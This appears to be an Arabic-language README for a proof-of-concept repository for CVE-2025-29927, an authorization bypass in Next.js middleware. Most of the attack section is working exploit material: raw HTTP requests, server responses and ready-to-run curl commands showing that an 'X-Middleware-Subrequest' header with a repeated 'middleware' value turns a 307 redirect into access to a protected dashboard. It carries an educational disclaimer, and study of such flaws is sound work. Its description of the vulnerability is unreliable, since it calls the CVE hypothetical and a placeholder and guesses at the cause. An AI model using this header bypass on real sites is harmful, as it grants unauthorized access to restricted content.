
تجاوز التفويض في برمجية الوسيطة لـ Next.js
يحتوي هذا المستودع على إثبات المفهوم (PoC) لـ CVE-2025-29927، وهو ثغرة افتراضية توضح خللاً في معالجة الوسيطة (middleware) داخل تطبيق ويب. يوضح إثبات المفهوم كيف يمكن لطلب HTTP مصمم خصيصًا تجاوز منطق إعادة التوجيه للوصول إلى محتوى مقيد، مثل لوحة التحكم. هذا المشروع مصمم للأغراض التعليمية والبحثية الأمنية فقط.
إخلاء مسؤولية: هذا إثبات المفهوم مخصص للاستخدام في بيئات خاضعة للرقابة وبإذن صريح. الاختبار غير المصرح به ضد أنظمة لا تملكها أو ليس لديك موافقة على اختبارها غير قانوني وغير أخلاقي.
لمتابعة هذا الإثبات، ستحتاج إلى:
abc.com) يشغل تكوينًا ضعيفًا (برنامج/إصدار محدد سيتم تحديده بناءً على تفاصيل CVE).curl (curl.se) أو Burp Suite (portswigger.net/burp) أو سكربت مخصص.CVE-2025-29927 (عنصر نائب؛ استبدل بتفاصيل CVE الرسمية عند توفرها) يبدو أنه يستغل خللاً في تكوين الوسيطة أو منطقها. يوضح إثبات المفهوم أن إضافة رأس مخصص (X-Middleware-Subrequest) يغير سلوك الخادم، متجاوزًا آلية إعادة التوجيه للوصول إلى المحتوى المقيد. من المحتمل أن يكون هذا مرتبطًا بكيفية معالجة الوسيطة (مثل Nginx مع Next.js) للطلبات الفرعية أو التحقق من الرؤوس.
لمزيد من المعلومات حول ثغرات الوسيطة، راجع أمان الوسيطة من OWASP.
يتكون الإثبات من خطوتين: طلب أولي غير ناجح وطلب معدل ناجح. تتضمن كل خطوة طلب HTTP والاستجابة وشرحًا مفصلاً.
توضح هذه الخطوة سلوك الخادم الافتراضي عند الوصول إلى نقطة النهاية /dashboard دون رؤوس إضافية.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: محاولة الوصول إلى نقطة نهاية لوحة التحكم.User-Agent و Accept تحاكي طلب متصفح عادي.307 Temporary Redirect: يشير إلى أن الخادم يعيد توجيه العميل، على الأرجح بسبب المصادقة أو التفويض أو منطق التوجيه (مثل إعادة التوجيه إلى صفحة تسجيل الدخول).Server: nginx/1.14.1: يحدد برنامج خادم الويب./dashboard. عدم وجود رأس Location في هذه الاستجابة (ربما تم حذفه للاختصار) يعني أن وجهة إعادة التوجيه في مكان آخر.تقدم هذه الخطوة رأسًا مخصصًا لتجاوز إعادة التوجيه، مما ينجح في الحصول على محتوى لوحة التحكم.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: رأس مخصص أضيف إلى الطلب الأصلي. قد تستغل سلسلة middleware المتكررة خللاً في التحليل أو التحقق داخل مكدس الوسيطة.200 OK: يؤكد الوصول الناجح إلى محتوى لوحة التحكم.Content-Type: text/html; charset=utf-8: يشير إلى استجابة HTML، على الأرجح صفحة لوحة التحكم.X-Powered-By: Next.js: يشير إلى أن التطبيق يستخدم Next.js، وهو إطار عمل React يعتمد غالبًا على الوسيطة في التوجيه.Cache-Control: يمنع التخزين المؤقت، وهو أمر نموذجي للمحتوى الديناميكي الخاص بالمستخدم.Content-Length: 30174: حجم نص الاستجابة بالبايت.X-Middleware-Subrequest يخدع الوسيطة لتعامل الطلب كطلب فرعي شرعي، متجاوزًا منطق إعادة التوجيه. قد يشير هذا إلى ثغرة في كيفية التحقق من الطلبات الفرعية أو معالجتها.اتبع هذه الخطوات لإعادة إنتاج الإثبات باستخدام curl:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
المخرجات المتوقعة: استجابة 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
المخرجات المتوقعة: استجابة 200 OK مع محتوى لوحة التحكم.
ملاحظة: استبدل abc.com باسم المجال الهدف الفعلي إذا كان الاختبار في بيئة مصرح بها.
curl لطلبات HTTP.هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.